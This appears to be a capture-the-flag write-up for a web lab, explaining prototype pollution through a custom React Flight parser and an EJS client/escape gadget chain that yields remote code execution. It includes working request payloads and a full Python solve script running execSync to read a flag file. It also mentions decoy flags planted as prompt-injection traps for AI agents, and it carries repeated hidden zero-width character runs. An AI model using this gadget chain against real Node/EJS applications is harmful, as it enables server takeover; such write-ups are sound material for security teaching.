← Back to Writeups
CUSTOMMediumWeb

Lab 227 — InsightPulse — Flight Protocol Deserialization to RCE

XESXOR9/2/20266 min read
#web#custom#medium#ejs_client_escape_gadget_chain#error_based_data_exfiltration#flight_protocol_abuse#iife_injection#prototype_pollution_via_recurs#cve-2025-55182#cve-2022-29078

Lab 227 — InsightPulse — Flight Protocol Deserialization to RCE

Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | **Author: XESXOR Techniques: ejs_client_escape_gadget_chain, error_based_data_exfiltration, flight_protocol_abuse, iife_injection, prototype_pollution_via_recursive_merge

Summary

Walkthrough of the CUSTOM Web Lab 227 — InsightPulse — Flight Protocol Deserialization to RCE. Task: InsightPulse analytics platform with custom React Flight protocol parser where recursive merge in the flight decoder does not filter proto, enabling prototype pollution. Solution: Pollute Ob

Description

You are testing InsightPulse, a real-time analytics and reporting platform built by PulseMetrics Inc. The application allows teams to track key performance metrics, build custom reports with interactive visualizations, manage data source integrations, and collaborate across workspaces. InsightPulse is built with a modern React-based architecture that uses server-side data processing for maximum performance. The platform features interactive dashboards, a custom report builder, data export functionality, team management with role-based access, and configurable data source connections. Your goal is to find and exploit a vulnerability in the application's server-side data processing pipeline that allows you to execute arbitrary commands and retrieve the flag from the server. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

English summary: An Express/Node.js analytics platform that implements a custom React Server Components Flight protocol parser. The flight decoder uses a recursive merge function to rebuild JavaScript objects from the wire format. This merge does NOT filter dangerous keys like __proto__, allowing prototype pollution. Combined with EJS templates, the client + escape gadget chain achieves RCE.

Credentials: user@test.com / password123

Analysis

Reconnaissance

The application is an Express/Node.js backend (identified by X-Powered-By: Express header and connect.sid session cookie) pretending to be a Next.js 15 / React 19 application. Key indicators: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  • HTML contains <!-- __NEXT_RSC_PROTOCOL__=flight/19.0.0 --> and data-rsc="true" attributes
  • Every page contains decoy honeypot flags FLAG{d3c0y_n0t_r34l_7r4p_f0r_b0ts} in HTML comments and hidden divs — prompt injection traps designed to fool AI agents
  • After login, the dashboard has sidebar navigation: Dashboard, Reports, Export, Data Sources, Team, Settings

Settings page (/dashboard/settings) reveals API documentation:

  • POST /api/action endpoint with Next-Action: <action-id> header
  • Flight payload format: 0:{"key":"value","ref":"$1"} with newline-separated chunks
  • Valid action IDs: c3a1e8f2d4b6 (reports), b9c3d7e1f2a4 (settings), a7d2f1b9e3c5 (export), f4e8c2a6d1b3 (sources) ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Client-side JS files (/js/app.js, /js/reports.js) show how forms submit data using the Flight protocol: the flight-encoded payload is placed in multipart form field "0".

Flight Protocol Parser Behavior

Systematic testing of the custom Flight parser revealed:

  1. Chunk format: <id>:<json_value> per line, sent as multipart form field "0"
  2. $N reference resolution: $1 resolves to chunk 1's parsed JSON value
  3. I: chunk type prefix (module imports): I1:{"id":"child_process","name":"execSync","chunks":[]} resolves to a non-string value but cannot be called directly
  4. F: chunk type prefix: Causes "Too few parameter values were provided" error
  5. Recursive resolution confirmed: Circular references ($0 → $1 → $0) cause "Maximum call stack size exceeded"
  6. No colon-path traversal: $1:property references are stored as literal strings — the standard React2Shell CVE-2025-55182 exploit does NOT work ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Vulnerability: Prototype Pollution via Recursive Merge

The Flight decoder uses a recursive merge function to rebuild JavaScript objects from the wire format. This merge does NOT filter dangerous keys like __proto__, constructor, or prototype.

When the Flight payload JSON contains "__proto__": {"key": "value"}, the recursive merge traverses into __proto__ and sets properties on Object.prototype, polluting all JavaScript objects in the Node.js process.

Escalation to RCE: EJS client + escape Gadget Chain

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The application uses EJS templates for server-side rendering. EJS >= 3.1.7 blocks the classic outputFunctionName RCE gadget (CVE-2022-29078) with JS identifier validation. However, an unpatched gadget chain exists via two unvalidated EJS options:

  1. Object.prototype.client = true — activates a code path in EJS compile() that injects escapeFn.toString() into the compiled template source
  2. **Object.prototype.escape = "(() => { RCE_CODE })()//" ** — this string becomes escapeFn, and .toString() returns the string itself, which gets injected as executable JavaScript into the compiled template ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The compiled template becomes:

javascript
escapeFn = escapeFn || (() => { RCE_CODE })()//;

The // comments out the trailing semicolon. The IIFE executes immediately during template compilation.

Solution

Step 1: Login

bash
curl -c cookies.txt -X POST "https://TARGET/login" \
  -d "email=user@test.com&password=password123"

Step 2: Pollute Object.prototype.client = true

Send a Flight payload via the settings action that sets __proto__.client to true:

POST /api/action
Next-Action: b9c3d7e1f2a4
Content-Type: multipart/form-data
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Field "0" = '0:{"__proto__":{"client":true},"timezone":"UTC","theme":"light"}'

Step 3: Pollute Object.prototype.escape with RCE IIFE Payload

Send a second Flight payload that sets __proto__.escape to an IIFE that reads the flag and throws it as an error:

POST /api/action
Next-Action: b9c3d7e1f2a4
Content-Type: multipart/form-data

Field "0" = '0:{"__proto__":{"escape":"(() => { var r = process.mainModule.require; var cp = r(\"child_process\"); var flag = cp.execSync(\"cat /root/flag.txt\").toString(); throw new Error(\"FLAG_OUTPUT:\" + flag); })()//"},"timezone":"UTC","theme":"light"}'

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

What happens:

  1. The server parses the Flight payload from multipart field "0"
  2. The recursive merge encounters __proto__ and traverses into Object.prototype
  3. Object.prototype.escape is set to the IIFE string
  4. When EJS compiles the next template (the response page), it sees client is truthy
  5. EJS injects escapeFn.toString() into the compiled template source
  6. The IIFE executes: process.mainModule.require("child_process").execSync("cat /root/flag.txt")
  7. The result is thrown as an Error, which propagates back through the action error handling ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Response:

json
{"error":"Action failed","detail":"FLAG_OUTPUT:FLAG{REDACTED}\n"}

Full Solve Script

python
#!/usr/bin/env python3
"""
InsightPulse Lab 227 — Flight Protocol Prototype Pollution to RCE via EJS client+escape gadget

Attack chain:
1. Login to get session cookie
2. Pollute Object.prototype.client = true via Flight payload __proto__
3. Pollute Object.prototype.escape with IIFE RCE payload via Flight payload __proto__
4. EJS template compilation triggers the IIFE, flag exfiltrated via thrown Error
"""
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

import requests
import json
import re

TARGET = "https://af8078ce-b015-49fc-91b4-912c88158854.labs.hackadvisor.io"

s = requests.Session()

# Step 1: Login
s.post(f"{TARGET}/login", data={
    "email": "user@test.com",
    "password": "password123"
}, allow_redirects=False)

# Step 2: Pollute Object.prototype.client = true
r = s.post(f"{TARGET}/api/action",
    headers={"Next-Action": "b9c3d7e1f2a4"},
    files={"0": (None, '0:{"__proto__":{"client":true},"timezone":"UTC","theme":"light"}')},
    allow_redirects=False)
print(f"[*] Pollute client: {r.status_code}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Step 3: Pollute Object.prototype.escape with RCE payload
escape_payload = '(() => { var r = process.mainModule.require; var cp = r("child_process"); var flag = cp.execSync("cat /root/flag.txt").toString(); throw new Error("FLAG_OUTPUT:" + flag); })()//'
pollution = json.dumps({
    "__proto__": {"escape": escape_payload},
    "timezone": "UTC",
    "theme": "light"
})
r = s.post(f"{TARGET}/api/action",
    headers={"Next-Action": "b9c3d7e1f2a4"},
    files={"0": (None, f"0:{pollution}")},
    allow_redirects=False)
print(f"[*] Pollute escape: {r.status_code}: {r.text[:300]}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Extract flag
flag = re.search(r'FLAG\{[0-9a-f]{32}\}', r.text)
if flag:
    print(f"\n[+] FLAG: {flag.group(0)}")
else:
    print("[-] Flag not found in response")
    print(f"    Response: {r.text[:500]}")

Failed Approaches

  1. React2Shell CVE-2025-55182 — The server's custom Flight parser does NOT support colon-path traversal ($N:property), which is the core mechanism of the React2Shell exploit. References like $1:__proto__:then are stored as literal strings.
  2. node-serialize _$$ND_FUNC$$_ IIFE — The server does not use the node-serialize package; payloads with _$$ND_FUNC$$_ are stored as literal strings.
  3. NODE_OPTIONS + child_process.fork() — Prototype pollution of NODE_OPTIONS succeeded but the export endpoint doesn't use fork() in a way that triggers the ESM import.
  4. Template literal injection ${...} — Not evaluated by the server.
  5. EJS outputFunctionName gadget (CVE-2022-29078) — Blocked by JS identifier validation in EJS >= 3.1.7. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Key Takeaways / Lessons

  • Mastering ejs_client_escape_gadget_chain, error_based_data_exfiltration, flight_protocol_abuse, iife_injection, prototype_pollution_via_recursive_merge was key to this challenge.
  • Always check for common misconfigurations and verify assumptions.

Crafted by XESXOR Research • 2026-05-14 • CUSTOM • Lab 227 — InsightPulse — Flight Protocol Deserialization to RCE • Difficulty: Medium